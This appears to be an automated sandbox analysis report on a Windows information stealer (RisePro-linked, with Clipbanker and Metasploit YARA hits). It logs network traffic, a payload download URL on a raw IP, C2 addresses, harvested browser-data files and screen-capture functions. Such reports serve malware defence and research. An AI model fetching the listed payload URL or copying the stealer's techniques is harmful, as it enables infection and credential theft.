
HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0Date: Wed, 22 May 2024 18:06:29 GMTContent-Type: application/octet-streamContent-Length: 4563640Last-Modified: Wed, 22 May 2024 06:47:19 GMTConnection: keep-aliveETag: "664d94f7-45a2b8"Accept-Ranges: bytesData Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 32 0c 00 00 00 80 77 00 00 0e 00 00 00 84 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 7c f6 05 00 00 90 77 00 00 f8 05 00 00 92 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 77 07 ae 80 3f 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 60 06 2e 19 84 3d c1 98 07 18 3f b1 8a c8 06 21 97 5a 9f 17 26 49 ef d7 89 87 a0 7f f8 9c 1a 49 31 38 ab c9 5a 21 b9 88 59 1b ae 73 bb 19 eb 5b 51 58 ea b8 cf f9 ca 61 e9 ea fc d8 84 59 59 a3 81 db 8e 29 e7 76 bc d0 d2 e2 0b 6e c0 ce 18 8d 84 c5 87 7c 29 a6 0c ed c1 5e 66 bf 07 2b e3 8a 3e 03 98 38 34 68 38 32 67 b0 86 8a 3e 2a b4 68 62 5c b0 a7 9b 45 96 28 ad 78 ba dd 89 a6 ce bc d5 40 b7 38 5f c9 39 ec 34 55 10 6d 18 ec 27 8d 73 cb c6 0f d8 05 bc 23 ff 88 ab da b9 96 30 33 fc b8 00 a9 fc 92 1d 4f c4 e7 90 5d 60 12 9b 53 32 db b8 40 23 0f c7 03 0e ab 10 fd b8 f2 6f 46 7e 9e 2a fd 52 a1 c1 51 7f d0 71 be 6f 98 79 6e fb c1 da 4f 41 40 7c 1f ec 12 e5 67 c5 d8 1f 46 b5 b1 d2 97 12 30 90 6a b0 c9 1f 1e a8 e1 11 73 2f 0b e5 48 af 0a 2b 20 30 43 da 21 be 8e ec f6 37 73 ee f1 5e 48 2c 1a 0b be 82 1d a8 20 0e ce 7b 8d f5 c5 f5 e3 da 80 c7 b4 ba 02 87 94 03 b5 02 97 44 af ba e5 e0 f5 bf 72 12 49 97 0b 2c 7c 8b 1d ae 9b bd d0 7f a8 75 84 36 ba bb 9e 15 0a be 45 3e 71 de d7 7d 7f dc d8 99 86 67 a0 c3 29 e4 8b 55 fe e5 4d 45 98 27 d7 91 6a 7d f4 1a 1a c6 e0 91 00 ee f6 37 5e 0a 8d

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 172.67.75.166 172.67.75.166

Source: Joe Sandbox View	ASN Name: NADYMSS-ASRU NADYMSS-ASRU
Source: Joe Sandbox View	ASN Name: NADYMSS-ASRU NADYMSS-ASRU

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: HEAD /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.172.128.82Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.172.128.82Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.136

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02EC8590 recv,WSAStartup,getaddrinfo,closesocket,socket,connect,closesocket,freeaddrinfo,WSACleanup,freeaddrinfo,

3_2_02EC8590

Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.172.128.82Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: db-ip.com

Source: BitLockerToGo.exe, 00000003.00000002.4563708382.00000000074C8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4563546670.0000000007490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82/server/k/l2.exe
Source: BitLockerToGo.exe, 00000003.00000003.3323243093.00000000074D5000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2428053387.00000000074D4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4564079502.00000000074D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.82/server/k/l2.exe:(
Source: BitLockerToGo.exe, 00000003.00000003.2391535788.00000000079BA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2403573253.00000000079B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2408857777.00000000079BE000.00000004.00000020.00020000.00000000.sdmp, KSExO5GhJ2KIj6jiDKtz.exe, 0000000A.00000003.2422238169.0000000002C02000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 0000000B.00000003.2430905741.000000000283B000.00000004.00000020.00020000.00000000.sdmp, EdgeMS2.exe.3.dr, oobeldr.exe.10.dr, MSIUpdaterV2.exe.3.dr, AdobeUpdaterV2.exe.3.dr, KSExO5GhJ2KIj6jiDKtz.exe.3.dr, l2[1].exe.3.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: BitLockerToGo.exe, 00000003.00000003.2391535788.00000000079BA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2403573253.00000000079B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2408857777.00000000079BE000.00000004.00000020.00020000.00000000.sdmp, KSExO5GhJ2KIj6jiDKtz.exe, 0000000A.00000003.2422238169.0000000002C02000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 0000000B.00000003.2430905741.000000000283B000.00000004.00000020.00020000.00000000.sdmp, EdgeMS2.exe.3.dr, oobeldr.exe.10.dr, MSIUpdaterV2.exe.3.dr, AdobeUpdaterV2.exe.3.dr, KSExO5GhJ2KIj6jiDKtz.exe.3.dr, l2[1].exe.3.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: BitLockerToGo.exe, 00000003.00000002.4565512563.00000000076E0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2330090968.00000000076D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.0/g/ima:0m
Source: BitLockerToGo.exe, 00000003.00000003.2391535788.00000000079BA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2403573253.00000000079B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2408857777.00000000079BE000.00000004.00000020.00020000.00000000.sdmp, KSExO5GhJ2KIj6jiDKtz.exe, 0000000A.00000003.2422238169.0000000002C02000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 0000000B.00000003.2430905741.000000000283B000.00000004.00000020.00020000.00000000.sdmp, EdgeMS2.exe.3.dr, oobeldr.exe.10.dr, MSIUpdaterV2.exe.3.dr, AdobeUpdaterV2.exe.3.dr, KSExO5GhJ2KIj6jiDKtz.exe.3.dr, l2[1].exe.3.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: file.exe, 00000000.00000003.2184349872.0000019161650000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2264717201.000000C000A1A000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C001400000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256735049.00000191614B0000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, BitLockerToGo.exe, 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000003.00000002.4563546670.0000000007490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/4
Source: BitLockerToGo.exe, 00000003.00000002.4563546670.0000000007490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.175
Source: BitLockerToGo.exe, 00000003.00000002.4555474593.00000000031A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.175AS3356
Source: BitLockerToGo.exe, 00000003.00000003.3323243093.000000000749F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=8.46.123.175
Source: BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe	String found in binary or memory: https://github.com/golang/protobuf/issues/1609):
Source: BitLockerToGo.exe, 00000003.00000002.4555474593.000000000311F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: BitLockerToGo.exe, 00000003.00000002.4555474593.0000000003191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: file.exe, 00000000.00000003.2184349872.0000019161650000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2264717201.000000C000A1A000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C001400000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256735049.00000191614B0000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: BitLockerToGo.exe, 00000003.00000002.4555474593.000000000312F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4555474593.0000000003191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.175
Source: BitLockerToGo.exe, 00000003.00000002.4555474593.0000000003191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.175
Source: file.exe	String found in binary or memory: https://login.chinacloudapi.cn/in
Source: file.exe	String found in binary or memory: https://login.microsoftonline.com/illegal
Source: file.exe	String found in binary or memory: https://login.microsoftonline.us/indefinite
Source: file.exe	String found in binary or memory: https://protobuf.dev/reference/go/faq#namespace-conflictin
Source: BitLockerToGo.exe, 00000003.00000003.2391535788.00000000079BA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2403573253.00000000079B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2408857777.00000000079BE000.00000004.00000020.00020000.00000000.sdmp, KSExO5GhJ2KIj6jiDKtz.exe, 0000000A.00000003.2422238169.0000000002C02000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV2.exe, 0000000B.00000003.2430905741.000000000283B000.00000004.00000020.00020000.00000000.sdmp, EdgeMS2.exe.3.dr, oobeldr.exe.10.dr, MSIUpdaterV2.exe.3.dr, AdobeUpdaterV2.exe.3.dr, KSExO5GhJ2KIj6jiDKtz.exe.3.dr, l2[1].exe.3.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://support.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: BitLockerToGo.exe, 00000003.00000002.4555474593.00000000031A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.;k
Source: BitLockerToGo.exe, 00000003.00000002.4555474593.00000000030E8000.00000004.00000020.00020000.00000000.sdmp, 9VicU2EcsIoeWuNiSqblWRg.zip.3.dr	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: BitLockerToGo.exe, 00000003.00000003.3323243093.000000000749F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTNOq
Source: BitLockerToGo.exe, 00000003.00000002.4563546670.0000000007490000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.3323243093.000000000749F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.4563708382.000000000749F000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.3.dr	String found in binary or memory: https://t.me/risepro_bot
Source: BitLockerToGo.exe, 00000003.00000002.4563546670.0000000007490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_bot
Source: BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000003.00000003.2322013517.0000000007509000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2323351160.0000000007509000.00000004.00000020.00020000.00000000.sdmp, TqjUl9qFEgEVWeb Data.3.dr, dEbuxUy_xTGYWeb Data.3.dr, _7f6olETKF02Web Data.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: 3b6N2Xdh3CYwplaces.sqlite.3.dr, D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org#
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: D87fZN3R3jFeplaces.sqlite.3.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.6:49707 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02EE5FF0 GdiplusStartup,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,DeleteObject,GdipDisposeImage,DeleteObject,ReleaseDC,GdiplusShutdown,

3_2_02EE5FF0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_07E99080 OpenDesktopA,CreateDesktopA,

3_2_07E99080

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 23.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 23.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 10.2.KSExO5GhJ2KIj6jiDKtz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 10.2.KSExO5GhJ2KIj6jiDKtz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 22.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 22.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000000.00000002.2264717201.000000C000BAE000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 0000000A.00000002.2424820883.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000A.00000002.2424820883.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000016.00000002.2598207071.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000016.00000002.2598207071.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000B.00000002.2437046066.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000B.00000002.2437046066.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000000.00000002.2265171878.000000C000CAE000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000002.2265171878.000000C000FD4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000014.00000002.2518294350.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
